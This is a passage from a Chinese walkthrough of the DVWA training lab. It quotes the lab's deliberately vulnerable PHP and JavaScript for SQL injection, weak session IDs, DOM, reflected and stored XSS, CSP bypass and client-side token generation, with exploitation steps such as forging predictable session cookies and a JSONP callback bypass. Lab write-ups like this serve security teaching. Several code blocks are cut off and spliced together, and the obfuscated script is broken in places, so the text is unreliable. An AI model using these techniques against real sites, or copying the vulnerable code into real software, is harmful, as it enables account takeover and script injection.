; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
  • 靶场实战:
    DVWA 靶场通关教程_第55张图片
    DVWA 靶场通关教程_第56张图片
    代码审计:从Cookie中获取id,拼接进查询语句中,导入数据库中查询
    漏洞利用:sqlmap一把梭哈

Security Level 【Impossible】

  • 源码分析:


if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '
User ID exists in the database.
'
; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'
; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
  • 防御思路:
    过滤用户输入
    使用预编译处理SQL语句
    使用owasp等安全的sql处理API

(9)弱会话 ID(Weak Session IDs)

原理:密码与证书等认证手段,一般仅仅用于登录(Login)的过程。当登陆完成后,用户访问网站的页面,不可能每次浏览器请求页面时都再使用密码认证一次。因此,当认证完成后。就需要替换一个对用户透明的凭证。这个凭证就是SessionID。

当用户登陆完成后,在服务器端就会创建一个新的会话(Session),会话中会保存用户的状态和相关信息。服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。

SessionID一旦在生命周期内被窃取,就等同于账户失窃。同时由于SessionID是用户登录之后才持有的认证凭证,因此不需要进行密码破解。
DVWA 靶场通关教程_第57张图片

Security Level 【Low】

  • 源码分析:


$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;		//session id自增
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>
  • 靶场实战:
    DVWA 靶场通关教程_第58张图片
    在这里插入图片描述
    代码审计:low级别未设置过滤,直接用burp抓包,可以清楚的看到dvwaSesion的cookie,每重放一次,dvwaSesion增加一
    漏洞利用:设置猜解后构造的session id,可以直接免密登录

Security Level 【Medium】

  • 源码分析:


$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();		//时间戳
    setcookie("dvwaSession", $cookie_value);
}
?>
  • 靶场实战:
    DVWA 靶场通关教程_第59张图片
    DVWA 靶场通关教程_第60张图片
    代码审计:基于时间戳生成dvwaSesion
    漏洞利用:设置猜解后构造的session id,把session的时间戳调整到现在时间,可以直接免密登录

Security Level 【High】

  • 源码分析:


$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
  • 靶场实战:
    DVWA 靶场通关教程_第61张图片
    这里靶场session id没生成,就直接分析源码
    代码审计:dvwaSesion值很像md5加密,使用md5解密,发现是对从零开始的整数进行加密
    漏洞利用:设置猜解后构造的session id,可以直接免密登录

Security Level 【Impossible】

  • 源码分析:


$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>
  • 防御思路:
    使用随机session id作为起始值

(10)基于 DOM 的跨站脚本(XSS)

原理::DOM—based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
Dom型XSS常见三种状态

Document.write 在页面上面写内容
innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML
eval 把字符串当代码执行

Security Level 【Low】

  • 源码分析:
<div class="vulnerable_code_area">
 
         <p>Please choose a language:p>
 
        <form name="XSS" method="GET">
            <select name="default">
                <script>
                    if (document.location.href.indexOf("default=") >= 0) {
                        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
                        document.write(" + $decodeURI(lang) + "");
                        document.write("");
                    }
 
                    document.write("");
                    document.write("");
                    document.write("");
                    document.write("");
                script>
            select>
            <input type="submit" value="Select" />
        form>
div>
  • 靶场分析:
    Poc: http://192.168.6.138/DVWA/vulnerabilities/xss_d/?default=
    DVWA 靶场通关教程_第62张图片代码审计:变量lang通过document.location.href来获取到,并且没有任何过滤就直接URL解码后输出在了option标签中
    漏洞利用:经典XSS测试,拼接URL触发弹窗,说明存在XSS

Security Level 【Medium】

  • 源码分析:


// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, ") !== false) {		//过滤script标签
        header ("location: ?default=English");
        exit;
    }
}
?>
  • 靶场实战:
    Poc:http://192.168.6.138/DVWA/vulnerabilities/xss_d/?default=
    DVWA 靶场通关教程_第63张图片
    代码审计:对default变量进行了过滤,通过stripos() 函数查找 漏洞利用:闭合,然后使用img标签通过事件来弹窗

Security Level 【High】

  • 源码分析:


// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
?>

靶场实战
Poc:http://192.168.6.138/DVWA/vulnerabilities/xss_d/?default=English&
DVWA 靶场通关教程_第64张图片
代码审计:使用了白名单模式,如果default的值不为”French”、”English”、”German”、”Spanish”的话就重置URL为:?default=English ,这里只是对 default 的变量进行了过滤
漏洞利用:可以使用&连接另一个自定义变量来绕过

Security Level 【Impossible】

  • 源码分析:


# Don't need to do anything, protction handled on the client side

?>
  • 防御思路:
    过滤用户输入
    使用htmlspecialchar()过滤
    客户端浏览器自身启动XSS filter防护

(11)反射跨站脚本(XSS)

原理:跨站脚本攻击(XSS),使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的

Security Level 【Low】

  • 源码分析:


header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '
Hello ' . $_GET[ 'name' ] . '
'
; } ?>
  • 靶场实战:
    Poc:
    DVWA 靶场通关教程_第65张图片
    代码审计:变量name没有任何的过滤措施,只是单纯的检测了name变量存在并且不为空就直接输出到了网页中
    漏洞利用:经典XSS测试,拼接URL触发弹窗,说明存在XSS

Security Level 【Medium】

  • 源码分析:


header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '
DVWA 靶场通关教程_第66张图片
代码审计:只是简单的过滤了

Security Level 【High】

  • 源码分析:


header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "
Hello ${name}
"
; } ?>
  • 靶场实战:
    Poc:
    DVWA 靶场通关教程_第67张图片
    代码审计:只通过正则匹配过滤标签,可以使用其他的标签绕过
    漏洞利用:构造Poc:拼接URL触发弹窗,说明存在XSS

Security Level 【Impossible】

  • 源码分析:


// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );	//把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体

    // Feedback for end user
    echo "
Hello ${name}
"
; } // Generate Anti-CSRF token generateSessionToken(); ?>
  • 防御思路:
    过滤用户输入
    使用htmlspecialchar()过滤
    使用owasp等安全xss处理API

(12)存储跨站脚本(XSS)

原理:嵌入到web页面的恶意HTML会被存储到应用服务器端,简而言之就是会被存储到数据库,等用户在打开页面时,会继续执行恶意代码,能够持续的攻击用户
本质:把用户输入的数据当作前端代码执行(核心执行JS代码)
特点:持久性攻击(数据存储数据库或者其他地方,访问触发)

Security Level 【Low】

  • 源码分析:


if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); //mysql_close(); } ?>
  • 靶场实战:
    Poc:
    DVWA 靶场通关教程_第68张图片
    代码审计:将用户留言存储到数据库中
    漏洞利用:构造Poc:写入留言板,转存数据库中,访问即触发

Security Level 【Medium】

  • 源码分析:


if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );	//移除字符串两侧的字符
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );	//剥去字符串中的 HTML 标签
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );	//把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体

    // Sanitize name input
    $name = str_replace( '
";
}
$page[ 'body' ] .= '

You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:

'
;
  • 靶场实战:
    DVWA 靶场通关教程_第73张图片

代码审计:从源代码中$headerCSP可以看出来,这里定义了几个受信任的站点,只能允许这几个站点的脚本才可以运行。
当然不看源代码,直接看http头部也是可以的。
漏洞利用:在源代码中也给我们了一个测试站点https://pastebin.com/raw/R570EE00

Security Level 【Miedum】

  • 源码分析:


$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# 

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '

Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.

'
;
  • 靶场实战:
    DVWA 靶场通关教程_第74张图片
    代码审计:这里把其它的安全站点都去掉了,加上了unsafe-inline,如果加上这个参数,就不会阻止内联脚本,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联元素
    DVWA 靶场通关教程_第75张图片
    漏洞利用:构造Poc

Security Level 【High】

  • 源码分析:

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '

The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.

1+2+3+4+5=

'
;
function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}
  • 靶场实战:
    DVWA 靶场通关教程_第76张图片
    代码审计:CSP 规则这里十分苛刻,只能引用允许self 的脚本执行,self是指本页面加载的脚本
    漏洞利用:构造Poc/DVWA/vulnerabilities/csp/source/jsonp.php?callback=alert(1),触发弹窗

Security Level 【Impossible】

  • 源码分析:


$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '

Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.

The CSP settings only allow external JavaScript on the local server and no inline code.

1+2+3+4+5=

'
;
function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp_impossible.php";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}
  • 防御思路:
    使用HTTP的 Content-Security-Policy头部指定策略
    使用meta标签限制表单

(14)JavaScript 攻击

原理:JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的

Security Level 【Low】

  • 源码分析:

$page[ 'body' ] .= <<<EOF

EOF;
?>

代码审计:中间那一大团使用了 md5 加密生成了 token,和之前的源码不同在于这次 token 是在前端生成的。generate_token() 函数的作用是获取 “phrase” 参数中的值,将其的 rot13 加密的结果进行 md5 加密作为 token 的值

Security Level 【Medium】


$page[ 'body' ] .= '';
?>
function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}

代码审计:同样是"Invalid token."错误。
F12查看源码,发现token是引用外部medium.js文件生成。生成步骤:e=XX+获取"phrase"值+XX,经过反序函数do_something()生成
即token=XXsseccusXX

Security Level 【High】


$page[ 'body' ] .= '';
?>
var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M>2]|=s[M]<<R){l[i>>2]|=r<>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf